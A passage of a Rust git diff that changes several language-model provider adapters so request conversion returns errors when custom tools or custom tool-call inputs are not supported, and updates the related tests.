 impl LanguageModel for LlamaCppLanguageModel {
@@ -919,7 +936,10 @@ impl LanguageModel for LlamaCppLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = self.to_llama_cpp_request(request);
+        let request = match self.to_llama_cpp_request(request) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let completions = self.stream_completion(request, cx);
         async move {
             let mapper = LlamaCppEventMapper::new();
@@ -1019,7 +1039,9 @@ impl LlamaCppEventMapper {
                                         id: tool_call.id.into(),
                                         name: tool_call.name.into(),
                                         is_input_complete: true,
-                                        input,
+                                        input: language_model::LanguageModelToolUseInput::Json(
+                                            input,
+                                        ),
                                         raw_input: tool_call.arguments,
                                         thought_signature: None,
                                     },
@@ -1829,7 +1851,8 @@ mod tests {
                 }],
                 ..Default::default()
             },
-        );
+        )
+        .unwrap();
 
         assert_eq!(request.messages.len(), 1);
         match &request.messages[0] {
@@ -1872,7 +1895,8 @@ mod tests {
                 }],
                 ..Default::default()
             },
-        );
+        )
+        .unwrap();
 
         assert_eq!(request.messages.len(), 1);
         match &request.messages[0] {
@@ -1882,7 +1906,7 @@ mod tests {
                 tool_calls,
             } => {
                 assert_eq!(content, "answer");
-                assert_eq!(reasoning_content, &None);
+                assert!(reasoning_content.is_none());
                 assert!(tool_calls.is_empty());
             }
             message => panic!("unexpected message: {message:?}"),
@@ -1911,7 +1935,9 @@ mod tests {
                             id: "call_1".into(),
                             name: "weather".into(),
                             raw_input: r#"{"city":"Oslo"}"#.to_string(),
-                            input: serde_json::json!({ "city": "Oslo" }),
+                            input: language_model::LanguageModelToolUseInput::Json(
+                                serde_json::json!({ "city": "Oslo" }),
+                            ),
                             is_input_complete: true,
                             thought_signature: None,
                         }),
@@ -1921,7 +1947,8 @@ mod tests {
                 }],
                 ..Default::default()
             },
-        );
+        )
+        .unwrap();
 
         assert_eq!(request.messages.len(), 1);
         match &request.messages[0] {
diff --git a/crates/language_models/src/provider/lmstudio.rs b/crates/language_models/src/provider/lmstudio.rs
index 3f6e9fb46e2c43..03b9451726acae 100644
--- a/crates/language_models/src/provider/lmstudio.rs
+++ b/crates/language_models/src/provider/lmstudio.rs
@@ -338,7 +338,11 @@ impl LmStudioLanguageModel {
     fn to_lmstudio_request(
         &self,
         request: LanguageModelRequest,
-    ) -> lmstudio::ChatCompletionRequest {
+    ) -> Result<lmstudio::ChatCompletionRequest> {
+        if request.contains_custom_tool_input() {
+            anyhow::bail!("LM Studio does not support custom tools");
+        }
+
         let mut messages = Vec::new();
 
         for message in request.messages {
@@ -365,13 +369,15 @@ impl LmStudioLanguageModel {
                         );
                     }
                     MessageContent::ToolUse(tool_use) => {
+                        let input = tool_use.input.as_json().ok_or_else(|| {
+                            anyhow!("LM Studio does not support custom tool calls")
+                        })?;
                         let tool_call = lmstudio::ToolCall {
                             id: tool_use.id.to_string(),
                             content: lmstudio::ToolCallContent::Function {
                                 function: lmstudio::FunctionContent {
                                     name: tool_use.name.to_string(),
-                                    arguments: serde_json::to_string(&tool_use.input)
-                                        .unwrap_or_default(),
+                                    arguments: serde_json::to_string(input).unwrap_or_default(),
                                 },
                             },
                         };
@@ -417,7 +423,7 @@ impl LmStudioLanguageModel {
             }
         }
 
-        lmstudio::ChatCompletionRequest {
+        Ok(lmstudio::ChatCompletionRequest {
             model: self.model.name.clone(),
             messages,
             stream: true,
@@ -430,20 +436,31 @@ impl LmStudioLanguageModel {
             tools: request
                 .tools
                 .into_iter()
-                .map(|tool| lmstudio::ToolDefinition::Function {
-                    function: lmstudio::FunctionDefinition {
-                        name: tool.name,
-                        description: Some(tool.description),
-                        parameters: Some(tool.input_schema),
-                    },
+                .map(|tool| {
+                    let input_schema = match tool.input {
+                        language_model::LanguageModelRequestToolInput::Function {
+                            input_schema,
+                            ..
+                        } => input_schema,
+                        language_model::LanguageModelRequestToolInput::Custom { .. } => {
+                            return Err(anyhow::anyhow!("LM Studio does not support custom tools"));
+                        }
+                    };
+                    Ok(lmstudio::ToolDefinition::Function {
+                        function: lmstudio::FunctionDefinition {
+                            name: tool.name,
+                            description: Some(tool.description),
+                            parameters: Some(input_schema),
+                        },
+                    })
                 })
-                .collect(),
+                .collect::<Result<_>>()?,
             tool_choice: request.tool_choice.map(|choice| match choice {
                 LanguageModelToolChoice::Auto => lmstudio::ToolChoice::Auto,
                 LanguageModelToolChoice::Any => lmstudio::ToolChoice::Required,
                 LanguageModelToolChoice::None => lmstudio::ToolChoice::None,
             }),
-        }
+        })
     }
 
     fn stream_completion(
@@ -533,7 +550,10 @@ impl LanguageModel for LmStudioLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = self.to_lmstudio_request(request);
+        let request = match self.to_lmstudio_request(request) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let completions = self.stream_completion(request, cx);
         async move {
             let mapper = LmStudioEventMapper::new();
@@ -637,7 +657,7 @@ impl LmStudioEventMapper {
                                 id: tool_call.id.into(),
                                 name: tool_call.name.into(),
                                 is_input_complete: true,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: tool_call.arguments,
                                 thought_signature: None,
                             },
diff --git a/crates/language_models/src/provider/mistral.rs b/crates/language_models/src/provider/mistral.rs
index f12f33a6f35f4e..a45564b191b81d 100644
--- a/crates/language_models/src/provider/mistral.rs
+++ b/crates/language_models/src/provider/mistral.rs
@@ -343,7 +343,10 @@ impl LanguageModel for MistralLanguageModel {
         >,
     > {
         let (request, affinity) =
-            into_mistral(request, self.model.clone(), self.max_output_tokens());
+            match into_mistral(request, self.model.clone(), self.max_output_tokens()) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
         let stream = self.stream_completion(request, affinity, cx);
 
         async move {
@@ -359,7 +362,11 @@ pub fn into_mistral(
     request: LanguageModelRequest,
     model: mistral::Model,
     max_output_tokens: Option<u64>,
-) -> (mistral::Request, Option<String>) {
+) -> Result<(mistral::Request, Option<String>)> {
+    if request.contains_custom_tool_input() {
+        anyhow::bail!("Mistral does not support custom tools");
+    }
+
     let stream = true;
 
     let mut messages = Vec::new();
@@ -452,13 +459,15 @@ pub fn into_mistral(
                         MessageContent::Image(_) => {}
                         MessageContent::Compaction(_) => {}
                         MessageContent::ToolUse(tool_use) => {
+                            let input = tool_use.input.as_json().ok_or_else(|| {
+                                anyhow!("Mistral does not support custom tool calls")
+                            })?;
                             let tool_call = mistral::ToolCall {
                                 id: tool_use.id.to_string(),
                                 content: mistral::ToolCallContent::Function {
                                     function: mistral::FunctionContent {
                                         name: tool_use.name.to_string(),
-                                        arguments: serde_json::to_string(&tool_use.input)
-                                            .unwrap_or_default(),
+                                        arguments: serde_json::to_string(input).unwrap_or_default(),
                                     },
                                 },
                             };
@@ -516,7 +525,7 @@ pub fn into_mistral(
         }
     }
 
-    (
+    Ok((
         mistral::Request {
             model: model.id().to_string(),
             messages,
@@ -550,17 +559,28 @@ pub fn into_mistral(
             tools: request
                 .tools
                 .into_iter()
-                .map(|tool| mistral::ToolDefinition::Function {
-                    function: mistral::FunctionDefinition {
-                        name: tool.name,
-                        description: Some(tool.description),
-                        parameters: Some(tool.input_schema),
-                    },
+                .map(|tool| {
+                    let input_schema = match tool.input {
+                        language_model::LanguageModelRequestToolInput::Function {
+                            input_schema,
+                            ..
+                        } => input_schema,
+                        language_model::LanguageModelRequestToolInput::Custom { .. } => {
+                            return Err(anyhow::anyhow!("Mistral does not support custom tools"));
+                        }
+                    };
+                    Ok(mistral::ToolDefinition::Function {
+                        function: mistral::FunctionDefinition {
+                            name: tool.name,
+                            description: Some(tool.description),
+                            parameters: Some(input_schema),
+                        },
+                    })
                 })
-                .collect(),
+                .collect::<Result<_>>()?,
         },
         request.thread_id,
-    )
+    ))
 }
 
 pub struct MistralEventMapper {
@@ -664,7 +684,7 @@ impl MistralEventMapper {
                                 id: entry.id.clone().into(),
                                 name: entry.name.as_str().into(),
                                 is_input_complete: false,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: entry.arguments.clone(),
                                 thought_signature: None,
                             },
@@ -721,7 +741,7 @@ impl MistralEventMapper {
                         id: tool_call.id.into(),
                         name: tool_call.name.into(),
                         is_input_complete: true,
-                        input,
+                        input: language_model::LanguageModelToolUseInput::Json(input),
                         raw_input: tool_call.arguments,
                         thought_signature: None,
                     },
@@ -813,7 +833,10 @@ mod tests {
 
         assert_eq!(tool_use.id.to_string(), "real_id_123");
         assert_eq!(tool_use.name.as_ref(), "read_file");
-        assert_eq!(tool_use.input, serde_json::json!({"path": "a.txt"}));
+        assert_eq!(
+            tool_use.input,
+            language_model::LanguageModelToolUseInput::Json(serde_json::json!({"path": "a.txt"}))
+        );
     }
 
     #[test]
@@ -854,7 +877,7 @@ mod tests {
         };
 
         let (mistral_request, affinity) =
-            into_mistral(request, mistral::Model::MistralSmallLatest, None);
+            into_mistral(request, mistral::Model::MistralSmallLatest, None).unwrap();
 
         assert_eq!(mistral_request.model, "mistral-small-latest");
         assert_eq!(mistral_request.temperature, Some(0.5));
@@ -890,7 +913,8 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let (mistral_request, _) = into_mistral(request, mistral::Model::MistralSmallLatest, None);
+        let (mistral_request, _) =
+            into_mistral(request, mistral::Model::MistralSmallLatest, None).unwrap();
 
         assert_eq!(mistral_request.messages.len(), 1);
         assert!(matches!(
diff --git a/crates/language_models/src/provider/ollama.rs b/crates/language_models/src/provider/ollama.rs
index f0166c6afb12fe..9ef157f9655869 100644
--- a/crates/language_models/src/provider/ollama.rs
+++ b/crates/language_models/src/provider/ollama.rs
@@ -360,7 +360,11 @@ pub struct OllamaLanguageModel {
 }
 
 impl OllamaLanguageModel {
-    fn to_ollama_request(&self, request: LanguageModelRequest) -> ChatRequest {
+    fn to_ollama_request(&self, request: LanguageModelRequest) -> Result<ChatRequest> {
+        if request.contains_custom_tool_input() {
+            anyhow::bail!("Ollama does not support custom tools");
+        }
+
         let supports_vision = self.model.supports_vision.unwrap_or(false);
 
         let mut messages = Vec::with_capacity(request.messages.len());
@@ -422,7 +426,16 @@ impl OllamaLanguageModel {
                                     id: tool_use.id.to_string(),
                                     function: OllamaFunctionCall {
                                         name: tool_use.name.to_string(),
-                                        arguments: tool_use.input,
+                                        arguments: match tool_use.input {
+                                            language_model::LanguageModelToolUseInput::Json(
+                                                input,
+                                            ) => input,
+                                            language_model::LanguageModelToolUseInput::Text(_) => {
+                                                return Err(anyhow::anyhow!(
+                                                    "Ollama does not support custom tool calls"
+                                                ));
+                                            }
+                                        },
                                     },
                                 });
                             }
@@ -445,7 +458,7 @@ impl OllamaLanguageModel {
                 }),
             }
         }
-        ChatRequest {
+        Ok(ChatRequest {
             model: self.model.name.clone(),
             messages,
             keep_alive: self.model.keep_alive.clone().unwrap_or_default(),
@@ -468,11 +481,15 @@ impl OllamaLanguageModel {
                 .supports_thinking
                 .map(|supports_thinking| supports_thinking && request.thinking_allowed),
             tools: if self.model.supports_tools.unwrap_or(false) {
-                request.tools.into_iter().map(tool_into_ollama).collect()
+                request
+                    .tools
+                    .into_iter()
+                    .map(tool_into_ollama)
+                    .collect::<Result<_>>()?
             } else {
                 vec![]
             },
-        }
+        })
     }
 }
 
@@ -536,7 +553,10 @@ impl LanguageModel for OllamaLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = self.to_ollama_request(request);
+        let request = match self.to_ollama_request(request) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
 
         let http_client = self.http_client.clone();
         let (api_key, api_url, extra_headers) = self.state.read_with(cx, |state, cx| {
@@ -621,7 +641,9 @@ fn map_to_language_model_completion_events(
                             id: LanguageModelToolUseId::from(id),
                             name: Arc::from(function.name),
                             raw_input: function.arguments.to_string(),
-                            input: function.arguments,
+                            input: language_model::LanguageModelToolUseInput::Json(
+                                function.arguments,
+                            ),
                             is_input_complete: true,
                             thought_signature: None,
                         });
@@ -1130,14 +1152,22 @@ fn merge_settings_into_models(
     }
 }
 
-fn tool_into_ollama(tool: LanguageModelRequestTool) -> ollama::OllamaTool {
-    ollama::OllamaTool::Function {
+fn tool_into_ollama(tool: LanguageModelRequestTool) -> Result<ollama::OllamaTool> {
+    let input_schema = match tool.input {
+        language_model::LanguageModelRequestToolInput::Function { input_schema, .. } => {
+            input_schema
+        }
+        language_model::LanguageModelRequestToolInput::Custom { .. } => {
+            anyhow::bail!("Ollama does not support custom tools");
+        }
+    };
+    Ok(ollama::OllamaTool::Function {
         function: OllamaFunctionTool {
             name: tool.name,
             description: Some(tool.description),
-            parameters: Some(tool.input_schema),
+            parameters: Some(input_schema),
         },
-    }
+    })
 }
 
 #[cfg(test)]
diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index c2c74a8553b29d..368c1a6c3bcaf8 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -553,7 +553,7 @@ impl LanguageModel for OpenAiLanguageModel {
             }
             .boxed()
         } else {
-            let request = into_open_ai(
+            let request = match into_open_ai(
                 request,
                 self.model.id(),
                 self.model.supports_parallel_tool_calls(),
@@ -562,7 +562,10 @@ impl LanguageModel for OpenAiLanguageModel {
                 ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                 None,
                 false,
-            );
+            ) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
             let completions = self.stream_completion(request, cx);
             async move {
                 let mapper = OpenAiEventMapper::new();
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index e69e847eab91df..ff67344ac5aba6 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -424,7 +424,7 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
 
         if self.model.capabilities.chat_completions {
             let reasoning_effort = chat_completion_reasoning_effort(&request, &self.model);
-            let request = into_open_ai(
+            let request = match into_open_ai(
                 request,
                 &self.model.name,
                 self.model.capabilities.parallel_tool_calls,
@@ -433,7 +433,10 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
                 chat_completion_max_tokens_parameter(&self.model),
                 reasoning_effort,
                 self.model.capabilities.interleaved_reasoning,
-            );
+            ) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
             let completions = self.stream_completion(request, cx);
             async move {
                 let mapper = OpenAiEventMapper::new();
@@ -688,7 +691,8 @@ mod tests {
             chat_completion_max_tokens_parameter(&model),
             reasoning_effort,
             model.capabilities.interleaved_reasoning,
-        );
+        )
+        .unwrap();
         let serialized = serde_json::to_value(request).unwrap();
 
         assert_eq!(serialized["reasoning_effort"], json!("high"));
diff --git a/crates/language_models/src/provider/open_router.rs b/crates/language_models/src/provider/open_router.rs
index fd5221c9b7ce78..59d4aac3fb7611 100644
--- a/crates/language_models/src/provider/open_router.rs
+++ b/crates/language_models/src/provider/open_router.rs
@@ -400,7 +400,11 @@ impl LanguageModel for OpenRouterLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let openrouter_request = into_open_router(request, &self.model, self.max_output_tokens());
+        let openrouter_request =
+            match into_open_router(request, &self.model, self.max_output_tokens()) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
         let request = self.stream_completion(openrouter_request, cx);
         let future = self.request_limiter.stream(async move {
             let response = request.await?;
@@ -414,7 +418,11 @@ pub fn into_open_router(
     request: LanguageModelRequest,
     model: &Model,
     max_output_tokens: Option<u64>,
-) -> open_router::Request {
+) -> Result<open_router::Request> {
+    if request.contains_custom_tool_input() {
+        anyhow::bail!("OpenRouter does not support custom tools");
+    }
+
     // Anthropic models via OpenRouter don't accept reasoning_details being echoed back
     // in requests - it's an output-only field for them. However, Gemini models require
     // the thought signatures to be echoed back for proper reasoning chain continuity.
@@ -472,13 +480,15 @@ pub fn into_open_router(
                     message_added_content = true;
                 }
                 MessageContent::ToolUse(tool_use) => {
+                    let input = tool_use.input.as_json().ok_or_else(|| {
+                        anyhow::anyhow!("OpenRouter does not support custom tool calls")
+                    })?;
                     let tool_call = open_router::ToolCall {
                         id: tool_use.id.to_string(),
                         content: open_router::ToolCallContent::Function {
                             function: open_router::FunctionContent {
                                 name: tool_use.name.to_string(),
-                                arguments: serde_json::to_string(&tool_use.input)
-                                    .unwrap_or_default(),
+                                arguments: serde_json::to_string(input).unwrap_or_default(),
                                 thought_signature: tool_use.thought_signature.clone(),
                             },
                         },
@@ -551,7 +561,7 @@ pub fn into_open_router(
         }
     }
 
-    open_router::Request {
+    Ok(open_router::Request {
         model: model.id().into(),
         messages,
         stream: true,
@@ -580,21 +590,32 @@ pub fn into_open_router(
         tools: request
             .tools
             .into_iter()
-            .map(|tool| open_router::ToolDefinition::Function {
-                function: open_router::FunctionDefinition {
-                    name: tool.name,
-                    description: Some(tool.description),
-                    parameters: Some(tool.input_schema),
-                },
+            .map(|tool| {
+                let input_schema = match tool.input {
+                    language_model::LanguageModelRequestToolInput::Function {
+                        input_schema,
+                        ..
+                    } => input_schema,
+                    language_model::LanguageModelRequestToolInput::Custom { .. } => {
+                        return Err(anyhow::anyhow!("OpenRouter does not support custom tools"));
+                    }
+                };
+                Ok(open_router::ToolDefinition::Function {
+                    function: open_router::FunctionDefinition {
+                        name: tool.name,
+                        description: Some(tool.description),
+                        parameters: Some(input_schema),
+                    },
+                })
             })
-            .collect(),
+            .collect::<Result<_>>()?,
         tool_choice: request.tool_choice.map(|choice| match choice {
             LanguageModelToolChoice::Auto => open_router::ToolChoice::Auto,
             LanguageModelToolChoice::Any => open_router::ToolChoice::Required,
             LanguageModelToolChoice::None => open_router::ToolChoice::None,
         }),
         provider: model.provider.clone(),
-    }
+    })
 }
 
 fn open_router_session_id(thread_id: Option<String>) -> Option<String> {
@@ -809,7 +830,7 @@ impl OpenRouterEventMapper {
                                 id: entry.id.clone().into(),
                                 name: entry.name.as_str().into(),
                                 is_input_complete: false,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: entry.arguments.clone(),
                                 thought_signature: entry.thought_signature.clone(),
                             },
@@ -832,7 +853,7 @@ impl OpenRouterEventMapper {
                                 id: tool_call.id.clone().into(),
                                 name: tool_call.name.as_str().into(),
                                 is_input_complete: true,
-                                input,
+                                input: language_model::LanguageModelToolUseInput::Json(input),
                                 raw_input: tool_call.arguments.clone(),
                                 thought_signature: tool_call.thought_signature.clone(),
                             },
@@ -1114,7 +1135,7 @@ mod tests {
             ..Default::default()
         };
 
-        let result = into_open_router(request, &model, None);
+        let result = into_open_router(request, &model, None).unwrap();
 
         assert_eq!(
             result.session_id.as_deref(),
@@ -1216,7 +1237,7 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let result = into_open_router(request, &model, None);
+        let result = into_open_router(request, &model, None).unwrap();
 
         let system_cache = result.messages.iter().find_map(|m| {
             if let open_router::RequestMessage::System { content } = m {
@@ -1355,7 +1376,7 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let result = into_open_router(request, &model, None);
+        let result = into_open_router(request, &model, None).unwrap();
 
         for message in &result.messages {
             let content = match message {
@@ -1418,7 +1439,7 @@ mod tests {
             compact_at_tokens: None,
         };
 
-        let result = into_open_router(request, &model, None);
+        let result = into_open_router(request, &model, None).unwrap();
 
         for message in &result.messages {
             let content = match message {
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index c3e5c0f8dab4bb..6604995ffee14a 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -669,7 +669,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                 } else {
                     anthropic::AnthropicModelMode::Default
                 };
-                let anthropic_request = into_anthropic(
+                let anthropic_request = match into_anthropic(
                     request,
                     self.model.id().to_string(),
                     1.0,
@@ -678,7 +678,10 @@ impl LanguageModel for OpenCodeLanguageModel {
                         .unwrap_or(8192),
                     mode,
                     anthropic::completion::AnthropicPromptCacheMode::Automatic,
-                );
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let stream =
                     self.stream_anthropic(anthropic_request, http_client, extra_headers, cx);
                 async move {
@@ -696,7 +699,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                 } else {
                     None
                 };
-                let openai_request = into_open_ai(
+                let openai_request = match into_open_ai(
                     request,
                     self.model.id(),
                     true,
@@ -705,7 +708,10 @@ impl LanguageModel for OpenCodeLanguageModel {
                     ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                     reasoning_effort,
                     self.model.interleaved_reasoning(),
-                );
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let stream =
                     self.stream_openai_chat(openai_request, http_client, extra_headers, cx);
                 async move {
@@ -744,7 +750,10 @@ impl LanguageModel for OpenCodeLanguageModel {
                 } else {
                     google_ai::GoogleModelMode::Default
                 };
-                let google_request = into_google(request, self.model.id().to_string(), mode);
+                let google_request = match into_google(request, self.model.id().to_string(), mode) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let stream = self.stream_google(google_request, http_client, extra_headers, cx);
                 async move {
                     let mapper = GoogleEventMapper::new();
diff --git a/crates/language_models/src/provider/vercel_ai_gateway.rs b/crates/language_models/src/provider/vercel_ai_gateway.rs
index 212223eb851426..23868b937479c1 100644
--- a/crates/language_models/src/provider/vercel_ai_gateway.rs
+++ b/crates/language_models/src/provider/vercel_ai_gateway.rs
@@ -451,7 +451,7 @@ impl LanguageModel for VercelAiGatewayLanguageModel {
             LanguageModelCompletionError,
         >,
     > {
-        let request = crate::provider::open_ai::into_open_ai(
+        let request = match crate::provider::open_ai::into_open_ai(
             request,
             &self.model.name,
             self.model.capabilities.parallel_tool_calls,
@@ -460,7 +460,10 @@ impl LanguageModel for VercelAiGatewayLanguageModel {
             crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             None,
             false,
-        );
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let completions = self.stream_open_ai(request, cx);
         async move {
             let mapper = crate::provider::open_ai::OpenAiEventMapper::new();
diff --git a/crates/language_models/src/provider/x_ai.rs b/crates/language_models/src/provider/x_ai.rs
index 4556e439a39453..834b97eb8bec03 100644
--- a/crates/language_models/src/provider/x_ai.rs
+++ b/crates/language_models/src/provider/x_ai.rs
@@ -413,7 +413,7 @@ impl LanguageModel for XAiLanguageModel {
         >,
     > {
         let reasoning_effort = reasoning_effort_for_request(&request, &self.model);
-        let request = crate::provider::open_ai::into_open_ai(
+        let request = match crate::provider::open_ai::into_open_ai(
             request,
             self.model.id(),
             self.model.supports_parallel_tool_calls(),
@@ -422,7 +422,10 @@ impl LanguageModel for XAiLanguageModel {
             crate::provider::open_ai::ChatCompletionMaxTokensParameter::MaxCompletionTokens,
             reasoning_effort,
             false,
-        );
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         let completions = self.stream_completion(request, cx);
         async move {
             let mapper = crate::provider::open_ai::OpenAiEventMapper::new();
diff --git a/crates/language_models_cloud/src/language_models_cloud.rs b/crates/language_models_cloud/src/language_models_cloud.rs
index 07be3150c0c456..46060e92c7b21e 100644
--- a/crates/language_models_cloud/src/language_models_cloud.rs
+++ b/crates/language_models_cloud/src/language_models_cloud.rs
@@ -462,7 +462,7 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     .as_ref()
                     .and_then(|effort| anthropic::Effort::from_str(effort).ok());
 
-                let mut request = into_anthropic(
+                let mut request = match into_anthropic(
                     request,
                     self.model.id.to_string(),
                     1.0,
@@ -475,7 +475,10 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                         AnthropicModelMode::Default
                     },
                     AnthropicPromptCacheMode::Automatic,
-                );
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
 
                 if enable_thinking && effort.is_some() {
                     request.thinking = Some(anthropic::Thinking::Adaptive {
@@ -592,7 +595,7 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
             cloud_llm_client::LanguageModelProvider::XAi => {
                 let http_client = self.http_client.clone();
                 let token_provider = self.token_provider.clone();
-                let request = into_open_ai(
+                let request = match into_open_ai(
                     request,
                     &self.model.id.0,
                     self.model.supports_parallel_tool_calls,
@@ -601,7 +604,10 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                     ChatCompletionMaxTokensParameter::MaxCompletionTokens,
                     None,
                     false,
-                );
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let auth_context = token_provider.auth_context(cx);
                 let future = self.request_limiter.stream(async move {
                     let PerformLlmCompletionResponse {
@@ -640,7 +646,11 @@ impl<TP: CloudLlmTokenProvider + 'static> LanguageModel for CloudLanguageModel<T
                 let http_client = self.http_client.clone();
                 let token_provider = self.token_provider.clone();
                 let request =
-                    into_google(request, self.model.id.to_string(), GoogleModelMode::Default);
+                    match into_google(request, self.model.id.to_string(), GoogleModelMode::Default)
+                    {
+                        Ok(request) => request,
+                        Err(error) => return async move { Err(error.into()) }.boxed(),
+                    };
                 let auth_context = token_provider.auth_context(cx);
                 let future = self.request_limiter.stream(async move {
                     let PerformLlmCompletionResponse {
diff --git a/crates/open_ai/src/completion.rs b/crates/open_ai/src/completion.rs
index 0638203d7695c7..a8541a4ee1e7d4 100644
--- a/crates/open_ai/src/completion.rs
+++ b/crates/open_ai/src/completion.rs
@@ -3,16 +3,19 @@ use collections::HashMap;
 use futures::{Stream, StreamExt};
 use language_model_core::{
     CompactionContent, LanguageModelCompletionError, LanguageModelCompletionEvent,
-    LanguageModelImage, LanguageModelRequest, LanguageModelRequestMessage, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, LanguageModelToolUseId, MessageContent,
-    Role, StopReason, TokenUsage,
+    LanguageModelCustomToolFormat, LanguageModelCustomToolGrammarSyntax, LanguageModelImage,
+    LanguageModelRequest, LanguageModelRequestMessage, LanguageModelRequestToolInput,
+    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse,
+    LanguageModelToolUseId, LanguageModelToolUseInput, MessageContent, Role, StopReason,
+    TokenUsage,
     util::{fix_streamed_json, parse_tool_arguments},
 };
 use std::pin::Pin;
 use std::sync::Arc;
 
 use crate::responses::{
-    ContextManagement, Request as ResponseRequest, ResponseCompactionItem, ResponseError,
+    ContextManagement, Request as ResponseRequest, ResponseCompactionItem,
+    ResponseCustomToolCallItem, ResponseCustomToolCallOutputItem, ResponseError,
     ResponseFunctionCallItem, ResponseFunctionCallOutputContent, ResponseFunctionCallOutputItem,
     ResponseIncludable, ResponseInputContent, ResponseInputItem, ResponseMessageItem,
     ResponseOutputItem, ResponseOutputMessage, ResponseReasoningInputItem, ResponseReasoningItem,
@@ -52,7 +55,17 @@ pub fn into_open_ai(
     max_tokens_parameter: ChatCompletionMaxTokensParameter,
     reasoning_effort: Option<ReasoningEffort>,
     interleaved_reasoning: bool,
-) -> crate::Request {
+) -> Result<crate::Request> {
+    if request
+        .tools
+        .iter()
+        .any(|tool| matches!(tool.input, LanguageModelRequestToolInput::Custom { .. }))
+    {
+        return Err(anyhow!(
+            "OpenAI Chat Completions does not support custom tools; use Responses API instead"
+        ));
+    }
+
     let stream = !model_id.starts_with("o1-");
     let service_tier = service_tier_for(request.speed);
 
@@ -103,13 +116,18 @@ pub fn into_open_ai(
                     );
                 }
                 MessageContent::ToolUse(tool_use) => {
+                    let LanguageModelToolUseInput::Json(input) = &tool_use.input else {
+                        return Err(anyhow!(
+                            "OpenAI Chat Completions cannot replay custom tool call `{}`",
+                            tool_use.name
+                        ));
+                    };
                     let tool_call = ToolCall {
                         id: tool_use.id.to_string(),
                         content: ToolCallContent::Function {
                             function: FunctionContent {
                                 name: tool_use.name.to_string(),
-                                arguments: serde_json::to_string(&tool_use.input)
-                                    .unwrap_or_default(),
+                                arguments: serde_json::to_string(input).unwrap_or_default(),
                             },
                         },
                     };
@@ -152,7 +170,7 @@ pub fn into_open_ai(
         }
     }
 
-    crate::Request {
+    Ok(crate::Request {
         model: model_id.into(),
         messages,
         stream,
@@ -184,14 +202,21 @@ pub fn into_open_ai(
         tools: request
             .tools
             .into_iter()
-            .map(|tool| crate::ToolDefinition::Function {
-                function: FunctionDefinition {
-                    name: tool.name,
-                    description: Some(tool.description),
-                    parameters: Some(tool.input_schema),
-                },
+            .map(|tool| match tool.input {
+                LanguageModelRequestToolInput::Function { input_schema, .. } => {
+                    Ok(crate::ToolDefinition::Function {
+                        function: FunctionDefinition {
+                            name: tool.name,
+                            description: Some(tool.description),
+                            parameters: Some(input_schema),
+                        },
+                    })
+                }
+                LanguageModelRequestToolInput::Custom { .. } => Err(anyhow!(
+                    "OpenAI Chat Completions does not support custom tools; use Responses API instead"
+                )),
             })
-            .collect(),
+            .collect::<Result<_>>()?,
         tool_choice: request.tool_choice.map(|choice| match choice {
             LanguageModelToolChoice::Auto => crate::ToolChoice::Auto,
             LanguageModelToolChoice::Any => crate::ToolChoice::Required,
@@ -199,7 +224,7 @@ pub fn into_open_ai(
         }),
         reasoning_effort,
         service_tier,
-    }
+    })
 }
 
 pub fn into_open_ai_response(
